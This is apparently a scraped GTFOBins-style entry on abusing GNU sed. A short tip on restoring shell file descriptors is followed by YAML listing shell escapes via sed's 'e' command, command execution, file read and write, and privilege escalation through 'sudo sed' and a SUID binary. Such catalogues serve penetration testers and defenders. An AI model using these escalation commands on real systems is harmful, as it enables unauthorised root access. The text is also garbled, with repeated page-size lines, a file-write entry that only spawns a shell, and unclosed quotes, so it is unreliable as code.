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Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
25 lines
653 B
Markdown
25 lines
653 B
Markdown
---
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functions:
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execute-interactive:
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- description: GNU version only. Also, this requires `bash`.
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code: sed -n '1e exec sh 1>&0' /etc/hosts
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execute-non-interactive:
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- description: GNU version only.
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code: sed -n "1e id" /etc/hosts
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file-write:
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- code: |
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LFILE=file_to_write
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sed -n '1e exec sh 1>&0 /etc/hosts
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file-read:
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- code: |
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LFILE=file_to_read
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sed '' "$LFILE"
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suid-enabled:
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- code: |
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LFILE=file_to_read
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./sed -e '' "$LFILE"
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sudo-enabled:
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- description: GNU version only. Also, this requires `bash`.
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code: sudo sed -n '1e exec sh 1>&0 /etc/hosts
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---
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